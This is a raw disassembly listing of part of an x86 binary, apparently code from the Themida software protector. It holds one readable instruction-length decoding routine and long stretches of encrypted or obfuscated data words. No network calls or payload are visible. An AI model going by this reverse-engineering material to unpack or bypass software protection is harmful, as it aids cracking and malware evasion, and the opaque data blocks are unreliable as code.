14h dup(0) dd 0C3000000h, 77ED6380h, 1000075h, 11h dup(0) dd 0E9000000h, 353h, 0E855h, 815D0000h, 2070B5EDh, 85C76006h dd 6207002h, 0 dd 663E8166h, 0F850FA1h, 0C7000000h, 20700685h, 606h, 24E900h dd 858D0000h, 620700Ah, 5A858D50h, 50062070h, 0E8006A56h dd 1Dh, 2510C483h, 0FFh, 70068589h, 3610620h, 207006B5h dd 2858B06h, 5D062070h db 0C3h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx and byte ptr [ebp-5], 0 and byte ptr [ebp-6], 0 xor dl, dl and [ebp-1], dl cmp dword ptr [ebp+8], 0 jz loc_584636 mov byte ptr [ebp-4], 2 mov byte ptr [ebp-3], 0FEh mov byte ptr [ebp-2], 1 jmp loc_584642 ; --------------------------------------------------------------------------- loc_584636: ; CODE XREF: Themida_:0058461Fj and byte ptr [ebp-3], 0 and byte ptr [ebp-2], 0 mov byte ptr [ebp-4], 4 loc_584642: ; CODE XREF: Themida_:00584631j push ebx push esi push edi loc_584645: ; CODE XREF: Themida_:0058469Aj ; Themida_:005846B6j ... mov edi, [ebp+0Ch] mov esi, [ebp+10h] movzx ecx, dl inc dl mov al, [edi+ecx] mov [esi+ecx], al xor cl, cl loc_584658: ; CODE XREF: Themida_:0058467Fj movzx ebx, cl push ebp call $+5 pop ebp sub ebp, 620716Ch lea ebp, [ebp+6206FE2h] add ebp, ebx cmp [ebp+0], al pop ebp jz loc_584685 inc cl cmp cl, 0Bh jb loc_584658 loc_584685: ; CODE XREF: Themida_:00584674j cmp cl, 0Bh jz loc_5846E2 cmp al, 66h jnz loc_5846C3 cmp byte ptr [ebp-5], 0 jnz loc_584645 cmp byte ptr [ebp-3], 0 mov byte ptr [ebp-5], 1 jnz loc_5846BB mov byte ptr [ebp-4], 2 mov byte ptr [ebp-3], 0FEh jmp loc_584645 ; --------------------------------------------------------------------------- loc_5846BB: ; CODE XREF: Themida_:005846A8j and byte ptr [ebp-3], 0 mov byte ptr [ebp-4], 4 loc_5846C3: ; CODE XREF: Themida_:00584690j cmp al, 67h jnz loc_584645 cmp byte ptr [ebp-6], 0 jnz loc_584645 xor byte ptr [ebp-2], 1 mov byte ptr [ebp-6], 1 jmp loc_584645 ; --------------------------------------------------------------------------- loc_5846E2: ; CODE XREF: Themida_:00584688j mov ebx, [ebp+14h] mov cl, dl dec cl cmp al, 0Fh mov [ebx], cl jnz loc_58470E movzx ecx, dl inc dl mov al, [edi+ecx] movzx edi, al shr edi, 1 mov [esi+ecx], al add edi, 80h jmp loc_584713 ; --------------------------------------------------------------------------- loc_58470E: ; CODE XREF: Themida_:005846EDj movzx edi, al shr edi, 1 loc_584713: ; CODE XREF: Themida_:00584709j push ebp call $+5 pop ebp sub ebp, 6207224h lea ebp, [ebp+6206EE2h] add ebp, edi mov bl, [ebp+0] pop ebp mov cl, al and cl, 1 mov [ebp-7], cl shl cl, 2 shr bl, cl test bl, 8 mov [ebp-6], bl jz loc_584895 mov ebx, [ebp+0Ch] mov byte ptr [ebp+0Bh], 1 movzx ecx, dl inc dl mov bl, [ebx+ecx] mov [ebp+17h], dl mov dl, bl mov [esi+ecx], bl and dl, 7 movzx ecx, bl cmp dl, 4 setz byte ptr [ebp-5] shr ecx, 6 sub ecx, 0 jz loc_5847D9 dec ecx jz loc_5847BC dec ecx jnz loc_58482C cmp byte ptr [ebp-2], 0 jnz loc_584828 cmp byte ptr [ebp-5], 0 jz loc_58479B mov byte ptr [ebp+0Bh], 2 loc_58479B: ; CODE XREF: Themida_:00584791j add byte ptr [ebp+0Bh], 4 push ebp call $+5 pop ebp sub ebp, 62072B0h mov dword ptr [ebp+6207002h], 1 pop ebp jmp loc_58482C ; --------------------------------------------------------------------------- loc_5847BC: ; CODE XREF: Themida_:00584776j cmp byte ptr [ebp-2], 0 jnz loc_584806 cmp byte ptr [ebp-5], 0 jz loc_584806 mov byte ptr [ebp+0Bh], 2 jmp loc_584806 ; --------------------------------------------------------------------------- loc_5847D9: ; CODE XREF: Themida_:0058476Fj cmp byte ptr [ebp-2], 0 jnz loc_58481F cmp byte ptr [ebp-5], 0 jz loc_58480E movzx ecx, byte ptr [ebp+17h] mov edx, [ebp+0Ch] mov cl, [edx+ecx] and cl, 7 cmp cl, 5 jnz loc_584806 mov [ebp+0Bh], cl loc_584806: ; CODE XREF: Themida_:005847C0j ; Themida_:005847CAj ... inc byte ptr [ebp+0Bh] jmp loc_58482C ; --------------------------------------------------------------------------- loc_58480E: ; CODE XREF: Themida_:005847E7j cmp dl, 5 jnz loc_58482C mov [ebp+0Bh], dl jmp loc_58482C ; --------------------------------------------------------------------------- loc_58481F: ; CODE XREF: Themida_:005847DDj cmp dl, 6 jnz loc_58482C loc_584828: ; CODE XREF: Themida_:00584787j mov byte ptr [ebp+0Bh], 3 loc_58482C: ; CODE XREF: Themida_:0058477Dj ; Themida_:005847B7j ... dec byte ptr [ebp+0Bh] jz loc_58485A movzx ecx, byte ptr [ebp+0Bh] mov [ebp+8], ecx loc_58483C: ; CODE XREF: Themida_:00584852j movzx esi, byte ptr [ebp+17h] mov ecx, [ebp+0Ch] mov edx, [ebp+10h] inc byte ptr [ebp+17h] dec dword ptr [ebp+8] mov cl, [ecx+esi] mov [edx+esi], cl jnz loc_58483C mov esi, edx loc_58485A: ; CODE XREF: Themida_:0058482Fj and al, 0FEh cmp al, 0F6h jnz loc_58488F cmp edi, 7Fh ja loc_58488F test bl, 38h jnz loc_58488F cmp byte ptr [ebp-7], 0 jz loc_584889 movzx eax, byte ptr [ebp-4] jmp loc_58488C ; --------------------------------------------------------------------------- loc_584889: ; CODE XREF: Themida_:0058487Aj push 1 pop eax loc_58488C: ; CODE XREF: Themida_:00584884j mov [ebp-1], al loc_58488F: ; CODE XREF: Themida_:0058485Ej ; Themida_:00584867j ... mov dl, [ebp+17h] mov bl, [ebp-6] loc_584895: ; CODE XREF: Themida_:0058473Fj mov al, bl and eax, 7 sub eax, 4 jz loc_5848C0 dec eax dec eax jz loc_5848B6 and bl, 7 add [ebp-1], bl jmp loc_5848C8 ; --------------------------------------------------------------------------- loc_5848B6: ; CODE XREF: Themida_:005848A5j mov al, [ebp-3] add al, 6 jmp loc_5848C5 ; --------------------------------------------------------------------------- loc_5848C0: ; CODE XREF: Themida_:0058489Dj mov al, [ebp-3] add al, 4 loc_5848C5: ; CODE XREF: Themida_:005848BBj add [ebp-1], al loc_5848C8: ; CODE XREF: Themida_:005848B1j mov al, [ebp-1] dec byte ptr [ebp-1] test al, al jz loc_5848F0 movzx ecx, byte ptr [ebp-1] inc ecx loc_5848DB: ; CODE XREF: Themida_:005848EAj mov edi, [ebp+0Ch] movzx eax, dl inc dl dec ecx mov bl, [edi+eax] mov [esi+eax], bl jnz loc_5848DB loc_5848F0: ; CODE XREF: Themida_:005848D0j pop edi pop esi mov al, dl pop ebx leave retn ; --------------------------------------------------------------------------- db 8Bh dd 0B38D8DD0h, 0F062074h, 681h, 359D8B00h, 89061B11h, 1B24298Dh dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h dd 0C3524200h, 358E4A18h, 10BDB589h, 0EAB8061Bh, 0C71CF54Dh dd 1B076585h, 634406h, 1D852900h, 0C7061B18h, 1B13D185h dd 6, 71B53100h, 29061B24h, 1B21E995h, 81B5FF06h, 6A061B09h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1D042444h dd 45000000h, 0DF21C355h, 0F3D63D77h, 47DF7182h, 1861B589h dd 9523061Bh, 61B1AA5h, 2F8595FFh, 0CF80061Bh, 0FF006A21h dd 1B220595h, 0EBC08B06h, 1B78610Ah, 8F8FC2C8h, 0E892EAF2h dd 7, 1AA6B020h, 80EE2F9Eh, 815EE8EAh, 8B9C24CFh, 95C68159h dd 66000064h, 0FD68D08Bh, 8B000018h, 1B1985BDh, 1E8B5906h dd 95A8C381h, 0F38126C3h, 7D2C4071h, 65F381F8h, 0E96C2589h dd 0Bh, 9460A5AEh, 1A237BDh, 899C39C4h, 6E81Eh, 0BE8B0000h dd 8678C61Ah, 5F27BF52h, 5F5A2864h, 0EE29EE81h, 0FA8B564Eh dd 0EE25C681h, 8D89564Eh, 61B08C5h, 1E981h, 850F0000h dd 12h, 28D0Fh, 0C78B0000h, 18E9h, 0DBA38E00h, 8E0F0583h dd 2, 87E938B0h, 0F2FFFFFFh, 8028B76Ch, 4C8D8DEDh, 8B062076h dd 1B08D5B5h, 298D8906h, 6A061B24h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 31DEC357h dd 8A0FB47Bh, 6, 61FAC281h, 958B15E2h, 61B1EF1h, 76585C7h dd 72F8061Bh, 8B660000h, 0D185C7D8h, 61B13h, 6A000000h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 16042444h dd 40000000h, 1A0FC350h, 0FDB5FFBDh, 6A061B02h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h dd 89A7C351h, 1B083DB5h, 8595FF06h, 6A061B2Fh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h dd 58C1C352h, 42B8D16Fh, 18E8B51h, 1B2D51B5h, 0F28B6606h dd 0EB5BD29h, 6A061Bh, 220595FFh, 0C08B061Bh, 81CC19EBh dd 0D0D59418h, 0BA154011h, 0CB49A7ADh, 0F12DFE8Fh, 7ED09C22h dd 8DA2061Ah, 20774D8Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1D04h, 0C3504000h, 588A4D72h, 523FC86Eh dd 8D8924F8h, 61B2429h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 16h, 25C35545h, 0DE96E12h, 2E000000h, 463F1C20h dd 81324A44h, 482D9F06h, 76585C7h, 6D54061Bh, 0B6F50000h dd 0D185C73Bh, 61B13h, 6A000000h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 71E7C352h dd 8B6B748Ah, 1B29B195h, 99B5FF06h, 57061B22h, 3810Fh dd 0D6800000h, 95FF58CDh, 61B2F85h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 19h, 0B4C35242h, 0AADBDC82h, 0F9BD8B0Ah dd 6A061B19h, 595FF00h, 8B061B22h, 0E00AEBC0h, 74877672h dd 9398E4D6h, 0E9C08BBBh, 11h, 0F25B83F1h, 550DAEDEh, 41FD374Eh dd 4922AC36h, 0D1BD8378h, 61B23h, 0BD830975h, 61B3129h dd 50197400h, 0B8C08B53h, 3FCh, 2DA18589h, 9D8D061Bh, 61DA64Dh dd 585BD3FFh, 3129BD83h, 7400061Bh, 0B8535017h, 3FCh, 2DA18589h dd 9D8D061Bh, 61DA33Ch, 585BD3FFh, 6ADF8B66h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h dd 8B3EC351h, 0F6060C0h, 8Ch, 1BD58000h, 0FE8B6661h, 0D5BD8361h dd 1061B1Ch, 8E840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1B0424h, 56460000h, 5C3139C3h, 470B2766h dd 0EE8F82Ah, 68000000h, 8C50A3BDh, 38D76180h, 71A32C26h dd 8CB5606Eh, 0BD835B61h, 61B1EA5h, 45850F00h, 6A000000h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1C042444h dd 43000000h, 0FCE3C353h, 85B3363Eh, 812891C6h, 0FC467EF3h dd 35BD8356h, 61B13h, 69840Fh, 0B70F0000h, 5820FDAh, 66000000h dd 0DD2BF281h, 32BE9h, 16850F00h, 0E9000000h, 11h, 0FE9AB1FCh dd 26F83472h, 39B8B6Ch, 5A44D694h, 0FBh, 56006A00h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h dd 53E55BDCh, 9C9847D9h, 0FD18B26h, 0A82h, 850F6000h, 0 dd 0D261C38Ah, 8F3565C4h, 5695E477h, 0FF827BBh, 1C9E358h dd 0AD4A7031h, 82169BFBh, 61F361A1h, 5F487898h, 75C70871h dd 0D74C8624h, 6A116E71h, 0D5357F9Ch, 4C93E577h, 7D4A87D1h dd 0E3056E71h, 31B05DC4h, 0AF26AEFAh, 0D74F8626h, 0B46C6E71h dd 89C531B2h, 0BECD6A55h, 7D576A55h, 0E90B6E71h, 38A369B2h dd 0F16AD22h, 0D4C061ABh, 8D4C6E71h, 6CDB1FAh, 955A79F5h dd 5948E721h, 4797BCF0h, 0D0432310h, 0AF4C6E7Bh, 0D7C26111h dd 0BB4C6E71h, 0F4430F28h, 0A2B24A3Dh, 95196E1Bh, 0BE4C6E72h dd 28F3351h, 0AB6802F8h, 0D3682AF0h, 0EB4C6E67h, 938F3B34h dd 7A43F2A8h, 7D4C6E75h, 8F1FD517h, 5F4E6274h, 0F4B03F71h dd 0DDF766FAh, 8D7DBD63h, 9FB026FAh, 0F9A43D71h, 5D4C6E71h dd 3717AD2Ah, 0DE484A2Dh, 0B8484A35h, 944C6E71h, 0DC34AD22h dd 43B54B06h, 0FA4DD6B5h, 261F6E71h, 62A0E21h, 0D42AA1F5h dd 0A3C50FBFh, 0B19BE455h, 6A2AB7FDh, 3A18BA2h, 7F436AB0h dd 7D4C6F46h, 3F2AB9FBh, 6A94683h, 96CC5FC7h, 72C96119h dd 814C6E70h, 0F6A43C71h, 0DA4C6E71h, 0F416AD2Bh, 3F484A25h dd 46484A35h, 0ED4C6E71h, 0F2DEAD23h, 0C4F1521Bh, 9F4D17FAh dd 0F9A43871h, 5D4C6E71h, 3712AD2Fh, 0DE484A05h, 0B2484A35h dd 914C6E71h, 82B6AD27h, 0C0265AE5h db 0F9h, 0DBh word_584F4E dw 203Ch ; DATA XREF: ___:0042BEA8o dd 638EEF17h, 0BEB3EFDBh, 50CC6E71h, 0AF4D25F3h, 874C0471h dd 0EB4C6D99h, 36144E71h, 0DE08E729h, 5908EF75h, 0BE4C7875h dd 9C1C2E71h, 19E86905h, 7BC9A947h, 0EA4A4E09h, 9F4C6E71h dd 0F9A43B71h, 5D4C6E71h, 3711AD2Ch, 0DE484A1Dh, 0B3484A35h dd 924C6E71h, 0FA27AD24h, 1DFED98h, 1308223Ch, 7D4C6E8Dh dd 56196E1Bh, 5F4C6E72h, 0F28F3351h, 0D36802F8h, 0EF682AF0h dd 0F54C6E6Dh, 198F3B34h, 295ED551h, 0F02901BDh, 5F4C6298h dd 67FBE71h, 0D63816C5h, 0C74577D7h, 742A3C3Dh, 0A1551AB2h dd 7D4CD998h, 0EC4C0471h, 5F4C6D99h, 6C164E71h, 0F318E72Bh dd 0CF08EF75h, 0F54C7975h, 391E2C71h, 9D528DCDh, 0B1C76111h dd 0B64C6E71h, 0AF4C6E7Bh, 1B0420BDh, 0A716B972h, 0AC2DB39Ah dd 0FA4C6798h, 2AC1D771h, 44020097h, 0DC2AD271h, 0A0B36508h dd 0D74C09F5h, 0E8C96171h, 0FA4C6E71h, 7F8BB7C6h, 7B6C16DDh dd 0BE4C6E70h, 0B71A6E1Bh, 0AF4C6E72h, 898F3051h, 0EF681AF8h dd 0F1682AF0h, 0FA4C6E6Ch, 0E58F3837h, 0D8B248ABh, 90193A50h dd 0B7CE6180h, 3E4C6E71h, 0EB4C6E62h, 713BFECDh, 0C708D1BDh dd 9F3DA1A4h, 0FF301323h, 3F5D37F6h, 0AF4AE77Eh, 5E436E71h dd 0EB4C6E71h, 27FB6110h, 20FB6139h, 6E8129C8h, 0D3C9E31Bh dd 0D24A4E0Ch, 8F37B9CCh, 0A3B45577h, 3A435E76h, 0A729B8h dd 0AD96EE84h, 6199D3F2h, 0B14D686Ah, 5F4CFAF5h, 0FD4C0471h dd 0D74C6D99h, 28164E71h, 0D118E72Bh, 0DE08EF75h, 7D4C7775h dd 7D1E2C71h, 578D6A4Dh, 0BDA44DBFh, 6F4C6E71h, 36D0AB7Fh dd 20B0FE0Ah, 0E68FD339h, 1DDADE41h, 0AFC461EEh, 0B64C6E71h dd 0AF4C6E7Dh, 8A5A6B6Bh, 78A3FDDDh, 6DA173D1h, 5C83EE2Bh dd 63E9D3F2h, 0B14C686Ah, 5F4C5AF4h, 0FA4C0471h, 0D74C6D99h dd 28114E71h, 0D120E72Ch, 0DE08EF75h, 7D4C7675h, 7D192B71h dd 5325ECCAh, 91D4D4C8h, 6ACF5C6Bh, 0ED577D44h, 0EEC86171h dd 714C6E71h, 7DD187AEh, 0B1A56E71h, 0C4C6E71h, 0C8115DB5h dd 6FF05820h, 0D5FC4676h, 48CF2E73h, 0FC5772A4h, 3DC96170h dd 0D84C6E71h, 0D5D9FDCBh, 5BC633AFh, 0D2A40EB2h, 0A64C6E71h dd 0A08C4161h, 0FA4CEF7Eh, 1C126E71h, 0BE4C3498h, 0C4C0471h dd 0AF4C6D99h, 14174E71h, 0CF10E72Ah, 0D108EF75h, 0FA4C7875h dd 0BE1F2D71h, 0E3B76FD2h, 0B71D6E1Bh, 0AF4C6E72h, 8E8F3751h dd 0EF6822F8h, 0F1682AF0h, 0FA4C6E6Ah, 208F3F30h, 5968C388h dd 390D7E0Eh, 17E5A4F0h, 0D74687BEh, 0F33D6E71h, 0AB53D615h dd 0EAD685D2h, 0F03FACF1h, 9E3488CCh, 65C1E377h, 174A4E0Ch dd 0AC76326Ch, 0E7F9EB42h, 3A67686Ah, 0C84E87B0h, 1B6E8129h dd 0CD3C9E3h, 0CCD24A4Eh, 778F37B9h, 76A3B455h, 833A435Eh dd 0A4F305E9h, 78ACBD83h, 74000620h, 0D38D8D0Dh, 0B8061B4Ch dd 1, 6A40E1FFh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1C042444h, 46000000h, 9CBBC356h, 5C5CE7FBh, 0BB22E1A3h dd 6FC7C6B6h, 2DE883F8h, 6AC08Bh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 180424h, 53430000h, 50BE21C3h, 0E381E951h dd 34983DA4h, 0A343A3BAh, 0E281663Ch, 0BD831E38h, 61B23D1h dd 83097500h, 1B3129BDh, 19740006h, 0C08B5350h, 3FCB8h dd 31858900h, 8D061B21h, 1DA6B49Dh, 5BD3FF06h, 29BD8358h dd 61B31h, 53501774h, 3FCB8h, 31858900h, 8D061B21h, 1DA3559Dh dd 5BD3FF06h, 51006A58h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1604h, 0C3514100h, 815BE87Eh, 41E8E3DBh, 0EB816615h dd 0C08B093Bh, 0AE8h, 8B3BD600h, 374F8958h, 0F57CF544h dd 8199B45Eh, 6D5FC6h, 33CBB200h, 0E3C8BC9h, 198C0Fh, 14E90000h dd 45000000h, 0B8641871h, 0EBA35E1Fh, 0F352109Ah, 1D2E2F5Eh dd 8161B5DBh, 0CB6E5F7h, 78C7817Eh, 0F838C2B0h, 0FE5FEF81h dd 12E939DEh, 0A000000h, 25893E59h, 0E2AB729Fh, 3FB6E514h dd 0C542E470h, 0E3C89D8h, 0C7ABB66h, 3830Fh, 8B660000h dd 2E983C1h, 11E8h, 0F24D6A00h, 0A6AC3A10h, 17DE4D1Eh dd 2316B3D9h, 10E95D6Dh, 0DD000000h, 4A875C60h, 0AA7B5F13h dd 3EA3C3AAh, 5B29F313h, 42B24949h, 9358F981h, 850FFFFFh dd 0FFFFFF65h, 2840Fh, 0D38B0000h, 15CE9h, 0BA1D4F00h dd 0A249FBF1h, 0B05AAC97h, 0BB54B50Bh, 0B854BF52h, 0B35A300Bh dd 98734E52h, 0CA26663Bh, 0EA275752h, 5E7B43C5h, 8DB48061h dd 0FC160952h, 0FC17D052h, 0FC167C52h, 0FC163A52h, 0FC161F52h dd 0FC168F52h, 0FC16E852h, 0FC16E352h, 0FC16F952h, 0FC16F852h dd 8F6F2F52h, 0FC7B5B26h, 93644F72h, 8F65EA31h, 0FC16C70Fh dd 0FC16E352h, 0FC16F152h, 0FC16F852h, 0FC167C52h, 0FC163E52h dd 0FC161F52h, 0FC168F52h, 0FC16C752h, 0FC16E352h, 0FC16F152h dd 0FC16F852h, 0FC167C52h, 0FC163E52h, 0FC161F52h, 0FC168F52h dd 0FC16C752h, 0FC16E352h, 0FC16F152h, 0FC16F852h, 0FC167C52h dd 0FC163E52h, 0FC161F52h, 0FC168F52h, 0FC16C752h, 0FC16E352h dd 0FC16F152h, 0FC16F852h, 0FC167C52h, 0FC163E52h, 0FC161F52h dd 0FC168F52h, 0FC16C752h, 0FC16E352h, 0FC16F152h, 0FC16F852h dd 0FC167C52h, 0FC163E52h, 0FC161F52h, 0FC168F52h, 0FC16C752h dd 0FC16E352h, 0FC16F152h, 0FC16F852h, 0FC167C52h, 0FC163E52h dd 0FC161F52h, 0FC168F52h, 0FC16C752h, 0FC16E352h, 0FC16F152h dd 0FC16F852h, 0FC167C52h, 0FC163E52h, 0FC161F52h, 0FC168F52h dd 0FC16C752h, 0FC16E352h, 0FC16F152h, 0FC16F852h, 0FC167C52h dd 591ABF52h, 1578E914h, 65680000h, 0E9062082h, 0FFFBC570h dd 20835D68h, 0C566E906h, 0FC68FFFBh, 0E9062083h, 0FFFBC55Ch dd 2084C868h, 0C552E906h, 1068FFFBh, 0E9062086h, 0FFFBC548h dd 20876B68h, 0C53EE906h, 1A68FFFBh, 0E9062088h, 0FFFBC534h dd 20892C68h, 0C52AE906h, 6F68FFFBh, 0E906208Bh, 0FFFBC520h dd 208C5368h, 0C516E906h, 0FC68FFFBh, 0E906208Ch, 0FFFBC50Ch dd 208D7668h, 0C502E906h, 0B068FFFBh, 0E906208Eh, 0FFFBC4F8h dd 2093FA68h, 0C4EEE906h, 0B968FFFBh, 0E9062094h, 0FFFBC4E4h dd 0F7C98B34h, 5927251Ah, 0ECC68038h, 5729211Fh, 0F7C9873Ah dd 1E211CE4h, 6F534032h, 3E0011DFh, 4E6D1E14h, 0CD5208FAh dd 0F122A7D5h, 0FFD72C4Ah, 3E3C0C33h, 74041E89h, 4B4CD1A2h dd 62D4D676h, 0AE6B79DDh, 0D0A8BA8Fh, 0AF4CD1A2h, 1DA34EACh dd 0B81E9F54h, 1628542Eh, 5E4B47D0h, 1B52CC45h, 1E6968Ch dd 89ED4ACAh, 176061Ch, 197D4ACAh, 1614820Bh, 74D2EAA1h dd 0BCD6C076h, 4ACA01B8h, 0E44622E9h, 50CA38B9h, 3821h dd 7A24D300h, 22AFA334h, 0EF52CCB3h, 0C5B7B187h, 0B44ACA93h dd 1C3729A7h, 4F732306h, 18812FFh, 8CC47F5Ch, 492E38AEh dd 50CA09E4h, 0E24Ch, 3E00DB00h, 0B6A01614h, 3C0C33C0h dd 0CE823D3Eh, 0A4D4CE59h, 2F4CD1A2h, 1EDBDDC7h, 0C7A6A61Fh dd 0CEBA94A7h, 1E1C300Dh, 3F3C3EA8h, 0AD2C4580h, 0A9CAA767h dd 240B453Bh, 0F54CD121h, 63300246h, 132EED5Ch, 97893B3Dh dd 4CD121E1h, 201A8CEAh, 7DCFECAFh, 0EFDBC97Bh, 621A084Dh dd 694CD121h, 140E970Dh, 52CC3C07h, 0A6D6AC0Ah, 0C9D94E94h dd 54DDE664h, 0CC7A4219h, 0E16E78EEh, 3634122Ah, 5DC78B35h dd 0C37D5EC7h, 4907BA8Fh, 7EE7FD6Fh, 39AEA29Dh, 0F8F26062h dd 0B1625046h, 832C28Eh dd 0F35DEA18h, 12EED095h, 0F5CE0000h, 0BB80915Fh, 0CAF29F91h dd 0B785867Ch, 0D1EC9D93h, 56AAB17Fh, 7E74DCE7h, 0A39DB18Dh dd 7C76DCE6h, 0AA98B08Fh, 0C5B3AF30h, 0E4AF120h, 1033A1B5h dd 9AA17240h, 24A2D4AEh, 0AFA3347Ah, 52CCB322h, 0CF813CEFh dd 0B6D6345h, 9C4ACA93h, 0CFCCAEA0h, 0C5D5BF3h, 876E61FFh dd 1786E880h, 7F50CAAEh, 0D5h, 470BB596h, 1BE9FB71h, 3F31647Fh dd 3CB590A8h, 7B4A712Ah, 7DA3CD1Ch, 2A5240BCh, 0B14CD11Bh dd 6345CF45h, 546A9BA6h, 0C2B898ABh, 2E0C9A0Ch, 0D11F0D34h dd 2B1D1C4Ch, 0C3853455h, 8BC67952h, 0D11FE197h, 1A8CEA4Ch dd 379D2B20h, 5875649Ch, 12E2D8CEh, 9DB52268h, 52CC9DBCh dd 5F1B1581h, 746EF73Dh, 54DD4A1Ch, 51C64FC7h, 8E84C27Ah dd 4CD70EEEh, 29381F5h, 4208B695h, 2BE0F668h, 494A3818h dd 0FA2ADA76h, 0F55DEABBh, 11F6D293h, 0EDD60000h, 0C3789967h dd 0E2DAB789h, 0BF7D8E64h, 0E9D4B58Bh, 0BE429967h, 0B68CC47Fh dd 8B65E9D5h, 0B48EC47Eh, 9260E8D7h, 3D3B57C8h, 0C64AF121h dd 1033995Dh, 9AA17240h, 4803D4AEh, 9BB38F74h, 0A7BD2F09h dd 3C0C33DDh, 0CA7E3D3Eh, 23231BF8h, 0D3754445h, 0DDC863DDh dd 0F2E075BBh, 52CCC60Dh, 0FFAF7ED8h, 8240907Ah, 43D41A44h dd 5DA96A4Fh, 0A97FF7A3h, 0EC79BFD9h, 4DC948F6h, 3EA70FA5h dd 18EA5E5Dh, 92B84C47h, 9599CF71h, 684204B4h, 142BE0F6h dd 66668034h, 73554F78h, 115772h, 0C68E3700h, 2A221FECh dd 0C3833B58h, 2C1E1CEDh, 0C68A3556h, 2C11E9ECh, 0A0713F11h dd 0D3C0B29Ch, 828F61F1h, 1DB38DBBh, 21D2AAB8h, 0CA194AF1h dd 3C0C33B4h, 0EAD2893Eh, 0D8824A5Ch, 200D0592h, 3552CCA5h dd 1B22EFC1h, 0C19A4B2Dh, 3A4250FBh, 0C14ACAA1h, 0E5D5BF55h dd 0F980D53h, 0B8E68114h, 0D0C6D3FEh, 0EAC156C2h, 6CF95D54h dd 5AEAAB77h, 5006E462h, 8F11AD43h, 843B1085h, 1E1DEEC4h dd 89F502Ah, 0EA6C621Ah, 170D694Ch, 52C30933h, 0CA3F3440h dd 44F4D752h, 0B6B1402h, 4EFAC19Ah, 0A0A89774h, 893615CAh dd 7EECE5C3h, 1349C3B6h, 0CBF0A93Bh, 95A79381h, 73CCC64Fh dd 2654D7AFh, 4CF404B0h, 317F5DE4h, 108B6Ch, 0FA5A6B00h dd 16360B08h, 0F74F6F1Ch, 18320809h, 0FA56692Ah, 0F04DD508h dd 0DCAD83CDh, 77946EE0h, 0DEAB85CDh, 0C19769DFh, 2636465Ch dd 66BD4AF1h, 0A29C7F90h, 1204BAB0h, 0F8CA8639h, 0BB2C720Ch dd 0CC9F4EA7h, 2D0B6B52h, 5FB4D6Ch, 15133504h, 78ED3345h dd 9380F4EFh, 9D12D7F9h, 4B689987h, 17554D7h, 0D08B4C27h dd 0D58761EBh, 6C5EFABFh, 0CBFD577h, 1F3560EFh, 0FBF5536Ah dd 8E175DFFh, 0CC037B94h, 0AF389E52h, 6A7CCEECh, 9CAC9390h dd 5FF9FE9Eh, 0B5226812h, 0D70F409Dh, 2F017554h, 0BED5B62h dd 0D10EA3D5h, 0B997644Ch, 0AE84C47Bh, 906ADEDDh, 394DA84h dd 690F0394h, 724CD12Eh, 6F4905B9h, 637D67FDh, 52CC2CBEh dd 0A31D1383h, 0C87E9527h, 3145B9D7h, 93A5957Fh, 0A6CAD84Dh dd 6554EA62h, 4E98E0F2h, 0F3634CEAh, 33FA5CE1h, 0D8784B00h dd 17E1E9E2h, 0F021D468h, 0A89B7066h, 0CEE625Dh, 891B330Fh dd 0EDD18A1Bh, 3B757361h, 4CEA1039h, 0E97DD7Fh, 0CA435014h dd 8A1B7B52h, 435FEAD1h, 4ACA6F35h, 0F4CE58BEh, 0B7202817h dd 6F4A3220h, 25914ACAh, 8538392Fh, 0DD2337CBh, 886A63FFh dd 0F4387h, 32222300h, 0DE6E5340h, 2F1727E4h, 0E06A5041h dd 123E0112h, 58E53D20h, 0F415EB65h, 5F2C0648h, 0F613ED65h dd 0A92F0147h, 245E1E34h, 3EA54AF1h, 41103338h, 0D1A22B51h dd 43FBB04Ch, 25AF2503h, 0A1B126AFh, 4CD1A2DBh, 0F5556B20h dd 0C1D341F3h, 0AA1B22EFh, 0BD124B2Bh, 4312FF17h, 53921A06h dd 31F2C85Eh, 0AF3C3E0Ah, 0F7C604DCh, 1F8E5F51h, 8756E56Eh dd 159h, 3C0C333Dh, 0CA7E3D3Eh, 2C720CF8h, 4F6F2CBBh, 3B0001F7h dd 7F918311h, 52CCC58Ah, 2383BCB7h, 422D7EBEh, 98DCD6D4h dd 94ACAC4h, 99046602h, 150CA75h, 53h, 0E98F8314h, 864ACACCh dd 34DF359Eh, 5711EEBh, 7A24250Fh, 19B0A334h, 0E9A62073h dd 5F75031Fh, 187E4CD1h, 980F988Eh, 6C4EFEC3h, 6DF6ECFAh dd 3052CC4Eh, 0CCC651C6h, 4ACA6EACh, 0D3D5BF37h, 0CA6E9BDDh dd 6701064Ah, 0CA139805h, 0A30050h, 33B60000h, 3D3E3C0Ch dd 2FECCE82h, 41423810h, 0A5964B7Ah, 2E017BF5h, 8E403A10h dd 0E5938F18h, 0EE4CD15Ch, 2E241E88h, 4CD15807h, 4F212716h dd 52C30933h, 384052C5h, 0C34CD158h, 85CB7653h, 0BC61818Fh dd 288E52C6h, 6FE1DCBFh, 0A3AD9081h, 169150Fh, 652A8864h dd 0DE8h, 635DF7C8h, 0BDB399A6h, 685AECCCh, 0BBB595ABh dd 635DF3CEh, 0AA95A870h, 3BFCCA6h, 0AA94754Bh, 2B9DAA8h dd 71E66C46h, 0F1251B61h, 7B83E04Ah, 72401033h, 3D132EEDh dd 0BE9B893Bh, 0E67749FFh, 6C5BBEDh, 11039AC1h, 3C0C3323h dd 